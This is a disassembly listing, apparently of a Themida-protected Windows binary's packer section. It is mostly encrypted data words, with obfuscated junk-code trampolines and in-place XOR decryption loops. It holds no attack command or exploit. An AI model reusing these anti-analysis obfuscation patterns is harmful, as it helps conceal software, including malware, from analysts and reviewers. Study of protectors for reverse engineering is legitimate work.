		dd 0B14C58F7h, 4511FD11h, 85AA71Ch, 0DDE49EADh,	0BD306531h
		dd 5FACD38Dh, 11B14BCBh, 0B56F620Fh, 0C63F600Eh, 6D273A95h
		dd 0BE49B866h, 11B14B9Bh, 2096CABAh, 0DC0A16EAh, 47FD9316h
		dd 78000005h, 5F8AD5Fh,	794C19D3h, 10DDB264h, 604D02B4h
		dd 91E3B06Ah, 32ECDEA1h, 7F39905Dh, 39EBE3D2h, 904A996Ch
		dd 0E592E1C3h, 1DDF4252h, 48B56503h, 348FC11Ah,	683C681Ah
		dd 3DD6EE99h, 0E9951DDFh, 3CA4FD1Ah, 57F0F701h,	0F4BD776Ah
		dd 90DF90DFh, 0B22A54E3h, 0A2150111h, 11B2298Fh, 6C2635C6h
		dd 0C4EDB965h, 0B581241h, 0D0EFA9BAh, 8AF55281h, 11B229E7h
		dd 0ABD27E6Eh, 6C19D443h, 0BC51C77h, 12980A57h,	3BE99D3h
		dd 1E5h, 4D075C47h, 2AE4F746h, 0B6CE7475h, 0F2A4BA47h
		dd 857E1FCBh, 0D85AE0FAh, 0F897871Dh, 239CECA7h, 3A4D3B29h
		dd 5E396D27h, 415146F4h, 4BBCE5CBh, 11B81C28h, 0E5EC9EB6h
		dd 0F4EA3D98h, 226F0E42h, 0A14D742Eh, 0E0F6AF24h, 0DF944D04h
		dd 594DF90h, 5011B81Ch,	1C3E51A4h, 671711B8h, 0DD369C46h
		dd 3D27BE93h, 7B000000h, 0B2AB5Ah, 0C8E99BB3h, 32810529h
		dd 0D84543C5h, 4948341Dh, 0B84457FEh, 30C97811h, 93B8CC52h
		dd 4195E4BEh, 37F07FECh, 0B96511B8h, 0C66916EDh, 8F11B837h
		dd 0C81EBEDFh, 62000000h, 0FFB1AB5Ah, 0BA74675Eh, 0C833C413h
		dd 17C844A9h, 269FC0ACh, 6537A34h, 25741BD5h, 0B2ED936h
		dd 4A17C845h, 6E59065Ah, 17C84995h, 673CF6E5h, 59A8DC82h
		dd 0DAF509AEh, 144D481Dh, 0D385BF82h, 0D73B7770h, 95C5348Bh
		dd 5A3586DBh, 174BB13h,	0C318EDC4h, 93DC8A09h, 90662032h
		dd 0DC060524h, 0AFBB5150h, 0E0000003h, 8D6035E7h, 0E1D4813Bh
		dd 98653AECh, 0E8D58A3Ch, 196B38F2h, 0BA746629h, 7C118E5h
		dd 0C1736B5Ah, 78322194h, 0CD3AC92Bh, 1DDF43AAh, 5C5D4DABh
		dd 3B5EA906h, 0AB17C845h, 732301B3h, 0D21FD01Fh, 5CFBC680h
		dd 1C17C845h, 0A3AB3E12h, 96E54B5Bh, 0C88C46E9h, 335F0F17h
		dd 99CA3B6Ah, 5CE8B2DFh, 99764D07h, 25448CA3h, 32E4E039h
		dd 47963D5Eh, 16635A14h, 0DC8A09C3h, 63CFD293h,	33E7A41Bh
		dd 767D3413h, 0B03BC8E9h, 1DD8F8EAh, 217211FDh,	4E543166h
		dd 0AE0336ABh, 4CBBE496h, 11B9162Bh, 0E4EB9DB7h, 38A4495h
		dd 4A5C1586h, 378EDB5Ah, 2EC7DC85h, 3887FF63h, 0C91FF5CBh
		dd 0AB02F217h, 0F700E6D0h, 640D37A9h, 0B641B201h, 0BA92EA3h
		dd 7B2D21B2h, 0B1FAA654h, 4D075CF9h, 1BCD0776h,	0EEA5C674h
		dd 9DF2AC9Fh, 7F6E163Ch, 0A928DAF2h, 67549AFDh,	15C781E9h
		dd 0F60C774Ch, 711DD86Dh, 9AB1FE85h, 3511B842h,	890FE37Eh
		dd 78BE93B5h, 2Eh, 621A48D0h, 45E2E08Bh, 67241DD8h, 90F1C8Eh
		dd 80F4BD0Dh, 8BA2ED94h, 4411B855h, 98FED48Dh, 89BE93A6h
		dd 0BEh, 0DD97CB3Ah, 75CD694h, 0E3F7464Dh, 281E971Ah, 0F4A0D00Ch
		dd 914B80CDh, 0F6B0A3F2h, 0B1AB5AA9h, 0C42F80FFh, 17C850B5h
		dd 0FFA0F4A0h, 0C8563308h, 5A144717h
		dd 0E9A3B805h, 0A3DB87EAh, 0A0E09B4Ch, 0C59AB570h, 839FCE3h
		dd 6BFB034Dh, 76DBC542h, 20CC1DD8h, 0BCC06E73h,	80FBA45h
		dd 463617CBh, 1ED80A77h, 944E8471h, 15CBE816h, 972D2CE2h
		dd 1FEh, 3966182Fh, 85DA94CCh, 366B1D38h, 86DB8DC7h, 3C692337h
		dd 0A5B57848h, 1247B6EBh, 0A4BA0B58h, 0FB509DF2h, 41901441h
		dd 0DF45A3B6h, 6414B21Dh, 174C065Ch, 78D5E7A4h,	96DA956Ah
		dd 0C88246E9h, 335F0F17h, 8E489B6Ah, 0A95A99C1h, 0C8453B5Eh
		dd 936A1A17h, 0C84549E8h, 3F600C17h, 9F88CB2h, 20D20B7Ah
		dd 5BACF5A1h, 1DD845CDh, 88D3FAAAh, 11B844E5h, 9BA73EAh
		dd 456A0D7Ah, 3BEB11B8h, 0B7EA7072h, 502BE93h, 0C918E05Fh
		dd 98446D63h, 0CBh, 4D075CF0h, 29E3F746h, 4A045DAAh, 57417C8h
		dd 0AE6879D4h, 902F630Fh, 174CB9E2h, 0A6B5085Dh, 0DE84E5ECh
		dd 57A857A6h, 0C83F8DACh, 52045917h, 7BD320CCh,	391FA8C9h
		dd 6E1DD853h, 8FC22F7Eh, 0D8D98CD5h, 509B126Ah,	17CAE25Ah
		dd 631D2DBCh, 87EDAE5Ch, 226B2897h, 2D803BACh, 0B140C3ECh
		dd 6918E7A1h, 83F0BF79h, 0BA63DF4h, 0B9ECB561h,	5E5C164Ch
		dd 0E215254Ah, 0EB55EB6Eh, 1C000000h, 714411C3h, 0FDF0A55Fh
		dd 7C4916C8h, 14E1AE60h, 0DD4F04BEh, 86409215h,	3BF5ECD9h
		dd 8D3F9766h, 3CF6E5D8h, 89F68567h, 1DDF46E6h, 5C29D16Fh
		dd 0A6174C06h, 0AF045AB5h, 0C8453544h, 20742017h, 451326D1h
		dd 524217C8h, 5C0951FEh, 0F7464D07h, 74752AE4h,	0BC47B6CEh
		dd 1DDF3D24h, 0E1F5403Fh, 0A608464Ah, 5586D3FAh, 0E4F7C69Bh
		dd 0A354A32Ah, 0B2313958h, 2F701C11h, 175623D8h, 39F46731h
		dd 269D578Ch, 85468469h, 4CA257FAh, 330EFEF2h, 0B2FB4093h
		dd 17D102F3h, 4E0859A8h, 0B9DA832Fh, 0BFBE706Ch, 78036072h
		dd 0F24CE8D9h, 0BDC4907Ch, 1CA35570h, 0DB8A23B2h, 0CE99CD87h
		dd 7A691CD5h, 312293C0h, 1FC05877h, 21000000h, 0C7C678D4h
		dd 0EB18521Bh, 0C71A6718h, 4497BA0Dh, 0A24D17C8h, 17C8448Fh
		dd 0AC58D6C6h, 35CA703h, 0F0E33251h, 144A9736h,	0BB0E5B62h
		dd 1F338201h, 0BB0F5E65h, 19338201h, 0C4196867h, 2A1E6B12h
		dd 56945170h, 0C6815E54h, 4, 8704EE83h,	565C2434h, 0C681E689h
		dd 4, 4EE81h, 34870000h, 0C895C24h, 4B5C6824h, 3C890000h
		dd 0B7BE5624h, 0C140372Ah, 0D6F703EEh, 8305EEC1h, 0C681FFEEh
		dd 0FE573016h, 545EF189h, 83243C8Bh, 6F6804C4h,	8900004Ah
		dd 8B82404h, 1000000h, 580889F8h, 5F2434FFh, 8B04C483h
; ---------------------------------------------------------------------------
		or	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		dw 3C23h
		dd 24C287A4h
; ---------------------------------------------------------------------------
		sub	ah, 31h


loc_5BB847:				; CODE XREF: Themida_:loc_5BAD0Cj
		mov	eax, 6170350h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 18BEBD69h, 57AF6DB9h, 325BFC38h, 4BBBC928h, 3DD92A9Bh
		dd 64D8E4CEh, 5AEB6F8Ch, 3750FBA6h, 5962157Eh, 10EEE310h
		dd 3F0DFB6h, 271427BCh,	384ED538h, 6CC3B455h, 3F5ED3CBh
		dd 4035F14Bh, 6F635A60h, 1F35633Ah, 4EBD3B9Ch, 51FFC548h
		dd 1B56B7Ah, 0A43EC8Bh,	68D903F9h, 76B89713h, 5258D8Dh
		dd 0B5890617h, 6102859h, 9F58D89h, 6A0610h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 928AFFC3h
		dd 231985C7h, 66D40610h, 9D8B0000h, 61013C5h, 1069BD8Bh
		dd 85C70610h, 61022C1h,	0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5BB90B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB90B	proc near		; CODE XREF: Themida_:005BB903p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5BB90B	endp

; ---------------------------------------------------------------------------
		fmulp	st(2), st
		mov	ds:0D5C1FB56h, al
		jnp	short loc_5BB98C
		jnp	loc_5BB930
		mov	[ebp+6103335h],	edi


loc_5BB930:				; CODE XREF: Themida_:005BB924j
		push	dword ptr [ebp+61004E9h]
		push	0
		push	ecx
		call	sub_5BB941
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB941	proc near		; CODE XREF: Themida_:005BB939p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5BB941	endp

; ---------------------------------------------------------------------------
		db 26h,	27h, 4Bh
; ---------------------------------------------------------------------------
		sub	al, 16h
		db	36h
		pop	ebx
		cmpsd
		mov	[ebp+61006D1h],	eax
		call	dword ptr [ebp+6102DB9h]
		push	0
		push	edi
		call	sub_5BB970
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB970	proc near		; CODE XREF: Themida_:005BB968p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5BB970	endp

; ---------------------------------------------------------------------------
		or	[ebp+22h], edx
		pop	eax
		xchg	eax, esi
		js	short loc_5BB9FD
		lodsd
		jmp	short near ptr dword_5BB9F4
; ---------------------------------------------------------------------------
		dw 0FF00h
; ---------------------------------------------------------------------------


loc_5BB98C:				; CODE XREF: Themida_:005BB922j
		xchg	eax, ebp
		leave
		xor	[eax], edx
		push	es
		mov	eax, eax
		jmp	short loc_5BB9AD
; ---------------------------------------------------------------------------
		db 0Ah,	0B3h, 19h
		dd 0D3CC78DCh, 0D6AF5FA7h, 0E06071BDh, 0FC3F688h, 0E2A608A9h
		db 0C1h
; ---------------------------------------------------------------------------


loc_5BB9AD:				; CODE XREF: Themida_:005BB993j
		lea	ecx, [ebp+617063Fh]
		push	0
		push	ebx
		call	sub_5BB9BE
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB9BE	proc near		; CODE XREF: Themida_:005BB9B6p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5BB9BE	endp

; ---------------------------------------------------------------------------
		dw 0F5E9h
		dd 0AF89788Fh, 0B70F3850h, 0F58D89F2h, 6A061009h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dword_5BB9F4	dd 45000000h, 0DCEAC355h ; CODE	XREF: Themida_:005BB988j
		db 0A3h
; ---------------------------------------------------------------------------


loc_5BB9FD:				; CODE XREF: Themida_:005BB985j
		popa
		ror	byte ptr ds:814F34D7h, 1
		iret
; ---------------------------------------------------------------------------
		test	byte ptr [esi+56h], 6
		mov	dword ptr [ebp+6102319h], 6380h
		push	0
		push	ecx
		call	sub_5BBA1E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBA1E	proc near		; CODE XREF: Themida_:005BBA16p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5BBA1E	endp

; ---------------------------------------------------------------------------
		dw 2923h
		dd 58CFC68Bh, 80944CFDh, 0F1BBEEF3h, 0C7739155h, 1022C185h
		dd 6, 8BE7B400h, 10167185h, 89B5FF06h, 8B06101Dh, 0B995FFF9h
		dd 6A06102Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0BEFC352h, 98AF010Fh, 774DE174h
		dd 14E9h, 0A0AC1C00h, 372C1A7Ch, 711B1F9Bh, 0D93A7796h
		dd 63EF2378h, 1D95232Dh, 6A061002h, 0C995FF00h,	8B061031h
		dd 822DEBC0h, 0BD04B873h, 0FCCB6827h, 0F848FAC6h, 0A2D0B01Ah
		dd 69CC6ED4h, 8DD8E6h, 8546AE49h, 0B04D103Bh, 0CEBA1C6Dh
		dd 0FC7B39BDh, 0E9B2D496h, 7468D8Dh, 6A0617h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 7FB844C3h
		dd 89F78B66h, 1009F58Dh, 1985C706h, 2C061023h, 80000060h
		dd 85C78FF7h, 61022C1h,	0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5BBB2B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBB2B	proc near		; CODE XREF: Themida_:005BBB23p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5BBB2B	endp

; ---------------------------------------------------------------------------
		sub	[eax+62563BD3h], esp
		retn	0B731h
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+61004E9h]
		push	0
		push	esi
		call	sub_5BBB55
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBB55	proc near		; CODE XREF: Themida_:005BBB4Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5BBB55	endp

; ---------------------------------------------------------------------------
		mov	ch, 3Bh
		pusha
		retf	0C3B4h
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+6102DB9h]
		push	0
		push	ebp
		call	sub_5BBB7C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBB7C	proc near		; CODE XREF: Themida_:005BBB74p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5BBB7C	endp

; ---------------------------------------------------------------------------
		mov	ebp, 674C1612h
		jmp	small loc_5BBBA8
; ---------------------------------------------------------------------------
		db 2 dup(0), 26h
		dd 0F81297AAh, 65139864h, 0BCF6CBEAh, 0C76F1EF8h
; ---------------------------------------------------------------------------


loc_5BBBA8:				; CODE XREF: Themida_:005BBB91j
		or	al, 0DFh
		push	0
		call	dword ptr [ebp+61031C9h]
		mov	eax, eax
		jmp	short loc_5BBBCE
; ---------------------------------------------------------------------------
		dw 0D4Dh
		dd 0DA282172h, 200BF2D6h, 0B049EA53h, 0C6B1BA9h, 5B59703h
; ---------------------------------------------------------------------------
		db	67h
		dec	ecx


loc_5BBBCE:				; CODE XREF: Themida_:005BBBB4j
		call	sub_5BBBDB
		adc	ch, dl
		test	[edx], ch
		mov	ss, bp
		adc	bh, [esi]

; =============== S U B	R O U T	I N E =======================================



sub_5BBBDB	proc near		; CODE XREF: Themida_:loc_5BBBCEp
		or	[ebp+6102399h],	esi
		pop	eax
		sbb	edx, 2AFA599Ah
		add	eax, 6CB4h
		jle	loc_5BBBFA
		or	[ebp+6101F55h],	ebx


loc_5BBBFA:				; CODE XREF: sub_5BBBDB+13j
		push	1B06h
		mov	[ebp+6100EB5h],	edx
		pop	edi
		mov	bx, 6CBAh


loc_5BBC0A:				; CODE XREF: Themida_:005BBC6Cj
		mov	esi, [eax]
		movzx	ecx, ax
		xor	esi, 307D6FD9h
		mov	ebx, [ebp+6101375h]
		xor	esi, 136C8FABh
		mov	[ebp+6100D91h],	edx
		sub	esi, 2003D983h
		or	bl, 2Dh
		push	esi
		mov	[ebp+6100619h],	ebx
		pop	dword ptr [eax]
		mov	ecx, ebx
		sub	eax, 2
		call	near ptr loc_5BBC48+4


loc_5BBC43:				; CODE XREF: sub_5BBBDB:loc_5BBC43j
					; DATA XREF: Themida_:0054C1FCo
		jge	short loc_5BBC43
		rep sub	ah, [ebx]


loc_5BBC48:				; CODE XREF: sub_5BBBDB+63p
		mov	eax, ds:89FFC0B9h
sub_5BBBDB	endp ; sp-analysis failed

		mov	ebp, 61007D5h
		pop	edx
		dec	eax
		dec	eax
		jmp	loc_5BBC66
; ---------------------------------------------------------------------------
		dw 7181h
; ---------------------------------------------------------------------------
		sbb	al, 9Eh
		cmp	esi, esp
		push	0FE932D80h
		dec	ecx


loc_5BBC66:				; CODE XREF: Themida_:005BBC55j
		sub	edi, 1
		jnz	loc_5BBC0A
		cmc
		call	near ptr loc_5BBC7E+3
		mov	cl, 0B2h
		inc	esp
		xchg	ch, [edx+1Fh]


loc_5BBC7E:				; CODE XREF: Themida_:005BBC73p
		adc	[ecx-72727458h], ah
		add	[eax], dl
		push	es
		pop	edi
		adc	bh, 3Ah
		add	edi, 5A35h
		mov	[ebp+6101FFDh],	ecx
		mov	edx, 5D08FD0h
		xor	edx, 5D099B2h
		sbb	bx, 5FADh


loc_5BBCA7:				; CODE XREF: Themida_:005BBD1Cj
		mov	esi, [edi]
		mov	[ebp+6100845h],	edi
		xor	esi, 1765E1BDh
		mov	eax, [ebp+6102299h]
		sub	esi, 2C5C1242h
		jle	loc_5BBCCD
		mov	ebx, [ebp+6100A21h]


loc_5BBCCD:				; CODE XREF: Themida_:005BBCC1j
		add	esi, 16375BE4h
		and	cl, 9
		mov	[edi], esi
		mov	[ebp+6101DD1h],	eax
		sub	edi, 2
		jbe	loc_5BBCEF
		jnp	loc_5BBCEF
		push	eax
		pop	ebx


loc_5BBCEF:				; CODE XREF: Themida_:005BBCE1j
					; Themida_:005BBCE7j
		dec	edi
		dec	edi
		mov	[ebp+610327Dh],	esi
		sub	edx, 1
		jnz	loc_5BBD18
		and	eax, [ebp+6100BB5h]
		jmp	loc_5BBD29
; ---------------------------------------------------------------------------
		div	dh
		xor	[ebx], eax
		sub	dl, [ebx+548F814Dh]


loc_5BBD18:				; CODE XREF: Themida_:005BBCFDj
		mov	bx, 5226h
		jmp	loc_5BBCA7
; ---------------------------------------------------------------------------
		db 5Eh,	0Fh, 1Ah
; ---------------------------------------------------------------------------
		mov	ebp, 6B3C38EDh


loc_5BBD29:				; CODE XREF: Themida_:005BBD09j
		lea	ecx, [ebp+6170960h]
		mov	[ebp+610239Dh],	edi
		mov	[ebp+61009F5h],	ecx
		xor	[ebp+6102A95h],	ebx
		mov	edi, eax
		mov	dword ptr [ebp+6102319h], 6A0Ch
		mov	[ebp+610228Dh],	edi
		mov	dword ptr [ebp+61022C1h], 0
		push	0
		push	edi
		call	sub_5BBD68
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBD68	proc near		; CODE XREF: Themida_:005BBD60p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5BBD68	endp

; ---------------------------------------------------------------------------
		sbb	al, 3Bh
		sub	[ebx+5Dh], edx
		inc	edi
		pop	esp
		cmp	al, 0AFh
		stc
		push	dword ptr [ebp+610232Dh]
		push	0
		push	ebp
		call	sub_5BBD93
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBD93	proc near		; CODE XREF: Themida_:005BBD8Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5BBD93	endp

; ---------------------------------------------------------------------------
		rcl	edx, 1
		cmp	[ebx], bl
		mov	[ebx], ch
		sar	dl, cl
		mov	edi, [ebp+6102D9Dh]
		cld
		call	dword ptr [ebp+6102DB9h]
		jo	loc_5BBDC4
		xor	esi, [ebp+6100115h]


loc_5BBDC4:				; CODE XREF: Themida_:005BBDB8j
		push	0
		call	dword ptr [ebp+61031C9h]
		mov	eax, eax
		jmp	short loc_5BBE49
; ---------------------------------------------------------------------------
		dd 72B4DB16h, 0B09ED5E2h, 0A2848D94h, 3138EC0h,	14F8A24Ch
		dd 7BCAE13Bh, 7B0DAC17h, 1E4E0A60h, 0AC5A3765h,	0E251FB46h
		dd 4883F072h, 0B3A0C9EBh, 0F1FEFCFh, 360899D5h,	68D26195h
		dd 4D1A3CCh, 0F27D6044h, 48722AE0h, 8CDE20E0h, 84E8CD6h
		dd 594DDB55h, 881F927Fh, 6A31BF9Fh, 7A279F80h, 0D58BF6C0h
		dd 57188A0Dh, 0CB46FC4Bh, 0FBACA562h, 5DCDD457h, 0F320EB11h
; ---------------------------------------------------------------------------
		movsb


loc_5BBE49:				; CODE XREF: Themida_:005BBDCEj
		lea	ecx, [ebp+6170A9Dh]
		push	0
		push	eax
		call	sub_5BBE5A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBE5A	proc near		; CODE XREF: Themida_:005BBE52p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5BBE5A	endp

; ---------------------------------------------------------------------------
		icebp
		mov	si, 83B0h
		mov	[ebp+61009F5h],	ecx
		push	0
		push	ebx
		call	sub_5BBE80
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBE80	proc near		; CODE XREF: Themida_:005BBE78p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5BBE80	endp

; ---------------------------------------------------------------------------
		or	ebx, [eax-7FBBD9E0h]
		retn
; ---------------------------------------------------------------------------
		db 0DBh
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+6102319h], 5E24h
		stc
		mov	dword ptr [ebp+61022C1h], 0
		push	0
		push	ecx
		call	sub_5BBEB8
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBEB8	proc near		; CODE XREF: Themida_:005BBEB0p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5BBEB8	endp

; ---------------------------------------------------------------------------
		dd 67BAE7F9h, 0B5FFF674h, 6101B25h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 8C35343h, 1BB703BDh, 0FB8B866h
		dd 2DB995FFh, 0BF0F0610h, 0FF006AC3h, 1031C995h, 0EBC08B06h
		dd 86D9E019h, 0F1F1DAD5h, 849313DEh, 0AD8CCBD8h, 3F96C9D9h
		dd 0A02F7090h, 8D8DC6D9h, 6170B2Fh, 89E3C480h, 1009F58Dh
		dd 0C78CB606h, 10231985h, 6CD406h, 68D0F00h, 81000000h
		dd 0A2B23FF3h, 0C185C772h, 61022h, 0F000000h, 388h, 0FFB70F00h
		dd 0EA5B5FFh, 0BF0F0610h, 0B995FFC1h, 6A06102Dh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 56F6C357h, 31C19589h, 6A580610h, 0C995FF00h,	8B061031h
		dd 2A1AEBC0h, 0AD6136ACh, 4FF4259Ch, 0B5F2368h,	562C8B1Fh
		dd 3F55C49Dh, 679FC019h, 0FE883h, 0AF800000h, 6B4F8DA1h
		dd 7446EF40h, 4A0A407h,	880F65h, 58000000h, 816DD780h
		dd 67EEC0h, 0DCBAF900h,	8B000019h, 2BE6608h, 7EE981F5h
		dd 8A303840h, 77C181F9h, 8B28DB84h, 1015F59Dh, 92E98106h
		dd 0F5A4AACh, 0C89h, 68C0F00h, 0F000000h, 81h, 0BF0F5100h
		dd 81008FFFh, 0BE79BE8h, 19D8B04h, 81061024h, 0BE797C0h
		dd 0EDB58904h, 4A06100Dh, 0FFA9850Fh, 8529FFFFh, 61006A1h
		dd 0CA88D8Dh, 81660617h, 898DCAE7h, 1009F58Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 7782F18Dh, 48896B86h, 0E7802621h, 85C7F58Bh,	6102319h
		dd 6EE4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0FEC35141h, 6542C434h, 95898A23h, 6100F2Dh, 22C185C7h
		dd 610h, 8D310000h, 610327Dh, 11EDB5FFh, 0E9600610h, 14h
		dd 0DD4CD498h, 49DB912Bh, 60734AE7h, 0DE4ECA92h, 0AB268152h
		dd 6AF18151h, 5B166E2Ch, 0B995FF61h, 6A06102Dh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 4459C357h, 0F82C8927h, 95FF006Ah, 61031C9h, 68EBC08Bh
		dd 0B5B6AB06h, 0CE8F95Eh, 0F0CAD46Eh, 8ECD974Bh, 0FFCFC336h
		dd 0F9650019h, 0EB196865h, 5C0A3EE8h, 0D8026691h, 8C66B3A9h
		dd 0C697BE7Eh, 7C51B13h, 78920EAFh, 0ECBE05B2h,	0D7D1544Dh
		dd 2A16AE8h, 87210B79h,	7B132679h, 8680BB3Eh, 0BB92639Eh
		dd 0C60194A4h, 0F2A94955h, 0BDC11374h, 770932C2h, 7332FC37h
		dd 0E02D2768h, 0AE8h, 0FF46B800h, 0BB6F4236h, 58DDB6A3h
		dd 11E99D23h, 0C0810610h, 6882h, 2BD2BF0Fh, 19533FFh, 0FF061001h
		dd 0BE90734h, 51000000h, 0E9B68D7h, 657914C6h, 8A59E8E8h
		dd 10E981FDh, 6057A982h, 0DD19D89h, 0B58B0610h,	61013E1h
		dd 35E98161h, 8B348E5Ch, 101C89B5h, 46E98106h, 8B7923FEh
		dd 10348D9Dh, 0B5895106h, 6100715h, 0E938048Fh,	11h, 0B5AEF67Dh
		dd 0E7311246h, 0ECFDB8E2h, 26ED6B9Ah, 49B5898Fh, 81061009h
		dd 0AB89E6EFh, 9D09606Bh, 61008C1h, 0C78161F9h,	6BAB89E2h
		dd 0CAEB8160h, 615145F7h, 9854FF81h, 850FFFFFh,	0Dh, 0E9F38B66h
		dd 1Fh,	98C78BB8h, 4985891Ch, 0E9061009h, 0FFFFFF57h, 1A0C7A3h
		dd 0E3A3565Ah, 0AEF52EF7h, 0E8C0DA3Ah, 12h, 1B4893B7h
		dd 702DF7F8h, 49E80C62h, 0FA26DC6h, 8B50E73Eh, 10084D9Dh
		dd 505E5806h, 880F57h, 58000000h, 4CC6815Bh, 3100006Ch
		dd 101E819Dh, 1AE36806h, 858B0000h, 6102321h, 0E9606059h
		dd 9, 53DF443h,	2B8CC93Fh, 8B0F26h, 61000000h, 6880Fh
		dd 0D7810000h, 77288C1Dh, 0E936FF61h, 0Dh, 88268C4Eh, 9E1DC3CCh
		dd 76AACFC8h, 8B605AEFh, 1008E595h, 0D18D8B06h,	61061019h
		dd 0B5E8F281h, 8A0F5ED9h, 5, 0FACFBFBBh, 0C9F28178h, 8B1D0E38h
		dd 100E4D9Dh, 97F28106h, 53064363h, 0C5705ABFh,	16895F4Ch
		dd 5919D29h, 0EE830610h, 5B86604h, 850F49FEh, 0FFFFFF9Dh
		dd 2CE9h, 2A224400h, 2Ah, 9 dup(0)
		dd 5BCE900h, 8F3F0000h,	6309904Ch, 8429B02Ch, 63088F4Bh
		dd 8123B226h, 64A08642h, 971352F6h, 0B02C6D20h,	8E4A8529h
		dd 0AF2B6007h, 79C9C0BCh, 9D6BDB72h, 79327440h,	97395044h
		dd 8E3408BDh, 0D7536F53h, 0A760DB05h, 0F3A27E72h, 6DCC7C4Fh
		dd 0FFEF2AE0h, 0C2FFA423h, 40752EA5h, 46F1DA54h, 5A3619A4h
		dd 0D1711832h, 356DCCF0h, 0F0972439h, 0E675C7BBh, 130F0342h
		dd 90C77D36h, 5BFAC9E4h, 3105BC7Fh, 0D551457Ah,	0A85FDCF1h
		dd 8A40B773h, 0A65CDB4Fh, 0F6C5B76Bh, 7D361352h, 978BCCh
		dd 66651148h, 0FC37EBBFh, 0F6AD2CD8h, 4AE99AC1h, 8E25DC86h
		dd 14C803A7h, 0D7A9DE85h, 6F235E04h, 111C42EAh,	92AE8DB2h
		dd 25A2C9B5h, 0EA6DCC6Bh, 0EEBF3AD9h, 0CE336B1Eh, 47h
		dd 4479323Ch, 7CBB0950h, 0F0846DCCh, 7CA71B0Eh,	0E33F6DCCh
		dd 5B9E3506h, 336B3592h, 172h, 7A32D800h, 5EDD4F43h, 0DB574ABh
		dd 0E96DCC7Ch, 0C794698Dh, 9F36EA21h, 0A8C3AFECh, 13B97817h
		dd 32D960DCh, 32AB41FDh, 0D9533F7Eh, 7CBE0407h,	0DE8F6DCCh
		dd 958DE99Dh, 51F7C499h, 0B96F661Ah, 7C259D8Ch,	65C16DCCh
		dd 97889581h, 5658BCB1h, 61964D0Ch, 0AA9FAB5h, 916FD1C6h
		dd 0CC13289Ah, 7B50CC6Dh, 0ECD09A8h, 4691D58h, 93E1FA76h
